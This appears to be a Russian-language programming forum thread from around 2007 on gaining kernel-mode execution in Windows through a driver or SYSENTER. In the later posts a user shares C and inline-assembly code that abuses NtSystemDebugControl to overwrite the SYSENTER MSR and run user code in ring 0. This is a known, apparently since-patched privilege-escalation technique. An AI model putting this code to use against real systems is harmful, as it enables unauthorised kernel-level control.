драйвер или sysenter?

Тема в разделе "WASM.BEGINNERS", создана пользователем goga2007, 30 июн 2007.

  1. n0name

    n0name New Member

    Публикаций:
    0
    Регистрация:
    5 июн 2004
    Сообщения:
    4.336
    Адрес:
    Russia
    что такое АП ядра? Мы же вроде разобрались в каком-то топике, что в винде для любого процесса заполнена таблиа\ца страниц для верхних 2х Gb?
    В Винде:
    Код (Text):
    1. ;
    2. ; When we trap into the kernel via fast system call we start on the DPC stack. We need
    3. ; shift to the threads stack before enabling interrupts.
    4. ;
    5.         mov     ecx, PCR[PcTss]        ;
    6.         mov     esp, [ecx]+TssEsp0
     
  2. rei3er

    rei3er maxim

    Публикаций:
    0
    Регистрация:
    15 янв 2007
    Сообщения:
    917
    Адрес:
    minsk
    адреса 0x80000000-0xFFFFFFFF
    а в адресном пространстве процесса потому как
    адрес функции, который мы кладем в MSR EIP < 0x80000000
     
  3. n0name

    n0name New Member

    Публикаций:
    0
    Регистрация:
    5 июн 2004
    Сообщения:
    4.336
    Адрес:
    Russia
    rei3er
    ммм, а в чём проблема?
     
  4. rei3er

    rei3er maxim

    Публикаций:
    0
    Регистрация:
    15 янв 2007
    Сообщения:
    917
    Адрес:
    minsk
    да не в чем, это просто было утверждение
     
  5. ntcdm

    ntcdm New Member

    Публикаций:
    0
    Регистрация:
    17 апр 2007
    Сообщения:
    247
    Афтару: Несмотря на то, что команда SYSENTER выполняет переход в режим ядра, выполнятся в режиме ядра будет отнюдь не твой код, а системный вызов, который ты запросишь. Этот системный вызов (код в режиме ring0) трижды проверит все параметры, которые ты ему передал, и уж потом выполнит их обработку. Т.е. команда SYSENTER не выполняет твой код, в режиме ядра, а всеголишь сигнализирует системе что нужно выполнить обработку твоих входных данных.

    Драйвер же - является исполнимым кодом, написанным тобой, и драйвер, будучи загруженным получает _управление_, т.е. он может выполнять написанный тобой код. Здесь контроля намного меньше и многие операции доступны.

    Так что для того, чтобы выполнять активные действия, а не просто вызывать системные функции, нужен драйвер.
     
  6. wasm_test

    wasm_test wasm test user

    Публикаций:
    0
    Регистрация:
    24 ноя 2006
    Сообщения:
    5.582
    ntcdm
    Я уже писал, что можно подменить обработчик, причем юзермодной функцией =)
    PS. Ну а так ты прав, конечно.
     
  7. EP_X0FF

    EP_X0FF New Member

    Публикаций:
    0
    Регистрация:
    13 авг 2006
    Сообщения:
    450
    Great

    Все это, конечно, очень здорово, респект. Но имхо, это просто извращение и проще наваять драйвер.
     
  8. n0name

    n0name New Member

    Публикаций:
    0
    Регистрация:
    5 июн 2004
    Сообщения:
    4.336
    Адрес:
    Russia
    Great
    и в Win2k3 SP2? =)
     
  9. wasm_test

    wasm_test wasm test user

    Публикаций:
    0
    Регистрация:
    24 ноя 2006
    Сообщения:
    5.582
    n0name
    Не знаю, не смотрел.. а чем она отличается особо? Если ты про \Device|PhysicalMemory, то я не про это.
     
  10. n0name

    n0name New Member

    Публикаций:
    0
    Регистрация:
    5 июн 2004
    Сообщения:
    4.336
    Адрес:
    Russia
    Great
    Нет, еще в SP1 поприкрывали некоторые функции, например - ZwSystemDebugControl.
     
  11. wasm_test

    wasm_test wasm test user

    Публикаций:
    0
    Регистрация:
    24 ноя 2006
    Сообщения:
    5.582
    А жаль) Ну и фиг с ними. Злые они =)
     
  12. wasm_test

    wasm_test wasm test user

    Публикаций:
    0
    Регистрация:
    24 ноя 2006
    Сообщения:
    5.582
    Смотрю ща в иде ядро 2k3 sp1. И правда ZwSystemDebugControl покусали там. Сильно
     
  13. n0name

    n0name New Member

    Публикаций:
    0
    Регистрация:
    5 июн 2004
    Сообщения:
    4.336
    Адрес:
    Russia
    Код (Text):
    1. "System Debug Class"  "Access" "NTSTATUS"
    2. SysDbgQueryModuleInformation  BLOCKED  NOT_IMPLEMENTED
    3. SysDbgQueryTraceInformation  BLOCKED  NOT_IMPLEMENTED
    4. SysDbgSetTracepoint  BLOCKED  NOT_IMPLEMENTED
    5. SysDbgSetSpecialCall  BLOCKED  NOT_IMPLEMENTED
    6. SysDbgClearSpecialCalls  BLOCKED  NOT_IMPLEMENTED
    7. SysDbgQuerySpecialCalls  BLOCKED  NOT_IMPLEMENTED
    8. SysDbgBreakPoint  ALLOWED  -
    9. SysDbgQueryVersion  BLOCKED  NOT_IMPLEMENTED
    10. SysDbgReadVirtual  BLOCKED  NOT_IMPLEMENTED
    11. SysDbgWriteVirtual  BLOCKED  NOT_IMPLEMENTED
    12. SysDbgReadPhysical  BLOCKED  NOT_IMPLEMENTED
    13. SysDbgWritePhysical  BLOCKED  NOT_IMPLEMENTED
    14. SysDbgReadControlSpace  BLOCKED  NOT_IMPLEMENTED
    15. SysDbgWriteControlSpace  BLOCKED  NOT_IMPLEMENTED
    16. SysDbgReadIoSpace  BLOCKED  NOT_IMPLEMENTED
    17. SysDbgWriteIoSpace  BLOCKED  NOT_IMPLEMENTED
    18. SysDbgReadMsr  BLOCKED  NOT_IMPLEMENTED
    19. SysDbgWriteMsr  BLOCKED  NOT_IMPLEMENTED
    20. SysDbgReadBusData  BLOCKED  NOT_IMPLEMENTED
    21. SysDbgWriteBusData  BLOCKED  NOT_IMPLEMENTED
    22. SysDbgCheckLowMemory  BLOCKED  NOT_IMPLEMENTED
    23. SysDbgEnableKernelDebugger  ALLOWED  -
    24. SysDbgDisableKernelDebugger  ALLOWED  -
    25. SysDbgGetAutoKdEnable  ALLOWED  -
    26. SysDbgSetAutoKdEnable  ALLOWED  -
    27. SysDbgGetPrintBufferSize  ALLOWED  -
    28. SysDbgSetPrintBufferSize  ALLOWED  -
    29. SysDbgGetKdUmExceptionEnable  ALLOWED  -
    30. SysDbgSetKdUmExceptionEnable  ALLOWED  -
    31. SysDbgGetTriageDump  BLOCKED  NOT_IMPLEMENTED
    32. SysDbgGetKdBlockEnable  ALLOWED  -
    33. SysDbgSetKdBlockEnable  ALLOWED  -
    34. SysDbgRegisterForUmBreakInfo  BLOCKED  INVALID_INFO_CLASS
    35. SysDbgGetUmBreakPid  BLOCKED  INVALID_INFO_CLASS
    36. SysDbgClearUmBreakPid  BLOCKED  INVALID_INFO_CLASS
    37. SysDbgGetUmAttachPid  BLOCKED  INVALID_INFO_CLASS
    38. SysDbgClearUmAttachPid  BLOCKED  INVALID_INFO_CLASS
     
  14. rei3er

    rei3er maxim

    Публикаций:
    0
    Регистрация:
    15 янв 2007
    Сообщения:
    917
    Адрес:
    minsk
    дык вопрос то был не в том, проще или не проще :derisive:
    (см. пост номер 1)
     
  15. wertyman

    wertyman Member

    Публикаций:
    0
    Регистрация:
    13 дек 2006
    Сообщения:
    74
    Извените, что вмешиваюсь в такую старую тему.
    А этот баг не прикрыт был ближайщими сервис паками, который вы обсуждаете ?
    На сколько понимаю речь идет об этом ?
    http://www.securitytracker.com/alerts/2004/Feb/1009128.html
     
  16. wasm_test

    wasm_test wasm test user

    Публикаций:
    0
    Регистрация:
    24 ноя 2006
    Сообщения:
    5.582
    а ты про какую ОС? В хп сп1 и сп2 не прикрыто
     
  17. wertyman

    wertyman Member

    Публикаций:
    0
    Регистрация:
    13 дек 2006
    Сообщения:
    74
    Линк читай... ХП сп1 баг был найден, СП2 не существовало тогда еще.. Я этот метод пробывал на своей хп, прога вылетает..
     
  18. wasm_test

    wasm_test wasm test user

    Публикаций:
    0
    Регистрация:
    24 ноя 2006
    Сообщения:
    5.582
    wertyman
    читать-то я читал, спасибо) я про это давнго в курсе.

    я не знаю, может там специально ошибка или ты просто собрал не так. я сам реализовывал такое на си, все прекрасно работает.
     
  19. wertyman

    wertyman Member

    Публикаций:
    0
    Регистрация:
    13 дек 2006
    Сообщения:
    74
    Код (Text):
    1. __declspec(naked)NTSTATUS __stdcall Int2eNtSystemDebugControl(...)
    2. {
    3.     __asm
    4.     {
    5.         cmp     SST_NtSystemDebugControl, 0
    6.         jz      failed
    7.         mov     eax, SST_NtSystemDebugControl
    8.         lea     edx, [esp+4]
    9.         int     0x2e
    10.         retn    0x14
    11.    
    12.         failed:
    13.         mov     eax,0xc00000001     // STATUS_UNSUCCESSFUL
    14.         retn    0x14
    15.     }
    16. }
    17.  
    18. BOOL ReadMsr(LONG MsrNum, ULONGLONG *ret)
    19. {
    20.     MSR_STRUCT Msr = {0};
    21.     Msr.MsrNum = MsrNum;
    22.  
    23.     NTSTATUS ns = 0;
    24.     //NTSTATUS ns = Int2eNtSystemDebugControl(SysDbgSysReadMsr, &Msr, sizeof(Msr), NULL, 0, 0);
    25.     if (ns != STATUS_SUCCESS) {
    26. #ifdef DBG
    27.         DbgMsg(__FILE__, __LINE__, "NtSystemDebugControl() fails; status 0x%.8x\n", ns);
    28. #endif
    29.     }
    30.        
    31.     *ret = Msr.MsrValue;
    32.     OutputDebugString("blya\n");
    33.     return 1;
    34. }
    35.  
    36. BOOL WriteMsr(LONG MsrNum, ULONGLONG Value)
    37. {
    38.     MSR_STRUCT Msr = {0};
    39.     Msr.MsrNum = MsrNum;
    40.     Msr.MsrValue = Value;
    41.  
    42.     NTSTATUS ns = Int2eNtSystemDebugControl(SysDbgSysWriteMsr, &Msr, sizeof(Msr), NULL, 0, 0);
    43.     if (ns != STATUS_SUCCESS)
    44.     {
    45. #ifdef DBG
    46.         DbgMsg(__FILE__, __LINE__, "NtSystemDebugControl() fails; status 0x%.8x\n", ns);
    47. #endif
    48.         return FALSE;
    49.     }
    50.  
    51.     return TRUE;
    52. }
    53.  
    54. // MSRs for SYSENTER
    55. #define SYSENTER_CS_MSR  0x174
    56. #define SYSENTER_ESP_MSR 0x175
    57. #define SYSENTER_EIP_MSR 0x176
    58.  
    59. // SYSENTER macro
    60. #define sysenter _asm _emit 0x0f _asm _emit 0x34
    61. #define sysexit  _asm _emit 0x0f _asm _emit 0x35
    62.  
    63. ULONG ring0_handler;
    64.  
    65. __declspec(naked) void sysenter_hnd(void)
    66. {
    67.     __asm
    68.     {
    69.         cli
    70.         pushfd
    71.         pushad
    72.    
    73.         call    dword ptr [ring0_handler]
    74.  
    75.         popad
    76.         popfd
    77.  
    78.         mov     edx,offset sysenter_ret
    79.         sysexit
    80.  
    81.         sysenter_ret:
    82.         ret
    83.     }
    84. }
    85.  
    86. __declspec(naked) void CallSysenter(void)
    87. {
    88.     __asm
    89.     {
    90.         mov ecx, esp
    91.         sysenter
    92.         ret
    93.     }
    94. }
    95.  
    96. BOOL call_r0(ULONG caller)
    97. {
    98.     ULONGLONG OldSysenterHandler;
    99.     ring0_handler = caller;
    100.    
    101.     ReadMsr(SYSENTER_EIP_MSR, &OldSysenterHandler);
    102.     if (OldSysenterHandler)
    103.     {
    104.         SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
    105.  
    106.         if (WriteMsr(SYSENTER_EIP_MSR, (ULONGLONG)sysenter_hnd))
    107.         {
    108.             CallSysenter();
    109.             WriteMsr(SYSENTER_EIP_MSR, OldSysenterHandler);        
    110.         }
    111.  
    112.         SetPriorityClass(GetCurrentProcess(), NORMAL_PRIORITY_CLASS);
    113.     }
    114.    
    115.     return TRUE;
    116. }
    код отличаеться ?
    имхо, баг прикрыли... потому что не может такая дырка оставаться долго не закрытой!
     
  20. wasm_test

    wasm_test wasm test user

    Публикаций:
    0
    Регистрация:
    24 ноя 2006
    Сообщения:
    5.582
    чтото больно знакомый код)))